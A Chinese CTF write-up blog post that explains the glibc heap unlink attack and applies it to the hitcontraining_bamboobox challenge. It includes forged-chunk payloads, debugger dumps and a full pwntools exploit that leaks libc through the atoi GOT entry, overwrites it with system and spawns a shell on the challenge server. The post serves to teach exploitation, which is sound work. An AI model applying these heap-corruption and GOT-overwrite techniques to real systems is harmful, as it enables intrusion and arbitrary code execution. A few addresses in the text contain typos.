记录unlink的原理及例题分析

记录unlink的原理及例题分析

unlink攻击实质:先前合并,绕过unlink检查,实现任意地址写

给出unlink几条重要的代码

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \第一个检查
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \第二个检查
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
FD->bk = BK
BK->fd = FD

实现unlink攻击的条件

1 . 可以修改next_chunk的pre_size和size位 (为了绕过第一个检查,实现合并)

2 . 不能开pie (要知道需要合并的地址,所以不能开pie)

结合题目更好理解,下面给出例题(hitcontraining_bamboobox)

1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit

可以看出是一个功能齐全的堆,但是change函数里有漏洞,size任意输入,导致我们可以修改下一个堆块的pre_size和size位

alloc(0x20,"aaaa")      
alloc(0x80,"bbbb")
alloc(0x30,"cccc")      #防止与top chunk 合并 下面调试就不给出 index 2的图了

看一下空间是怎样的

pwndbg> x/20gx  0x1eda020 
0x1eda020:	0x0000000000000000	0x0000000000000031           #对应 index 0
0x1eda030:	0x0000000a61616161	0x0000000000000000 
0x1eda040:	0x0000000000000000	0x0000000000000000
0x1eda050:	0x0000000000000000	0x0000000000000091           #对应 index 0
0x1eda060:	0x0000000a62626262	0x0000000000000000
0x1eda070:	0x0000000000000000	0x0000000000000000
target = 0x6020c8  
fd = target - 0x18    #绕过第二个检查
bk = target - 0x10    #绕过第二个检查

payload = p64(0) + p64(0x20)
payload += p64(fd) + p64(bk)

payload += p64(0x20) + p64(0x90)             #绕过第一个检查
change(0,payload)

第一个检查很容易理解,就是检查一下chunk1 的pre_size大小是否与chunk0一致(size检查)

是怎么绕过第二个检查的呢?很简单,附上一张图片更好理解

从图中第一行图很容易看出
在这里插入图片描述

target = 0x6020c8
FD =  target - 0x18 =0x602b0
BK =   target - 0x10 =0x602b8
绕过第二个检查如下
FD->bk == P   (0x602b0 +0x18==0x6020c8)
BK->fd == P    (0x602b8 +0x10==0x6020c8)  

调试看一下

0x11b9020           0x0                 0x30                 Freed                0x0              0x20
0x11b9050           0x20                0x90                 Used                 0x
0x11b9020:	0x0000000000000000	0x0000000000000031
0x11b9030:	0x0000000000000000	0x0000000000000020
0x11b9040:	0x00000000006020b0	0x00000000006020b8
0x11b9050:	0x0000000000000020	0x0000000000000090
0x11b9060:	0x0000000a62626200	0x0000000000000000

fd 和bk 被填入 ,chunk0 被认为free状态了 ,只要free chunk1 就能绕过两个检查,并且 然chunk0和chunk1合并,也就是上面讲到的向前合并

free(1)

调试看一下

0x169d020:	0x0000000000000000	0x0000000000000031
0x169d030:	0x0000000000000000	0x00000000000000b1       
0x169d040:	0x00007fbcd6dc3b78	0x00007fbcd6dc3b78
0x169d050:	0x0000000000000020	0x0000000000000090
0x169d060:	0x0000000a62626200	0x0000000000000000
pwndbg> x/20gx 0x6020c0
0x6020c0 <itemlist>:	0x0000000000000020	0x00000000006020b0
0x6020d0 <itemlist+16>:	0x0000000000000000	0x0000000000000000
0x6020e0 <itemlist+32>:	0x0000000000000030	0x000000000169d0f0

向前合并 ,之前的0x20变成了b1 (0x20+0x90+1(in_use) )

0x6020c8的值变成了0x6020b0,这是怎么变的呢? 还记得上面给出的几条重要代码吗,当绕过两个检查后,会改BK->fd 的值

FD->bk = BK
BK->fd = FD

BK->fd 不就是 0x6020c8 , FD = target - 0x18 =0x602b0

BK->fd = FD 不就是 *( 0x6020c8 ) = 0x602b0

整个流程下来,我们就完成了 unlink攻击, 可以实现地址任意写了

接下来 ,我们往chunk0 写入数据 就是往 0x602b0 写数据

下面的比较简单 ,我就直接 给出思路和完整exp

思路: 修改chunk0 的位置为 atoi的got表 ,再show() 可以泄露 atoi的got 进而 泄露 libc

再用change函数 改atoi的got 为system函数 ,就会导致 执行atoi函数时 其实就是再执行system函数

exp

from pwn import *
p=remote('node4.buuoj.cn',29387)
context.log_level = 'debug'
elf = ELF("./pwn")
libc =ELF('23.64')
atoi_got = elf.got['atoi']
def d():
   gdb.attach(p)
   pause()
def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

alloc(0x20,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")

target = 0x6020c8 
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x20)
payload += p64(fd) + p64(bk)

payload += p64(0x20) + p64(0x90)
change(0,payload)

free(1)

payload = p64(0) * 2

payload += p64(0x30) + p64(atoi_got)
print(hex(atoi_got))
change(0,payload)

show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
print(hex(system))
payload = p64(system)
change(0,payload)

p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

p.interactive()



 
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zIxyd

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值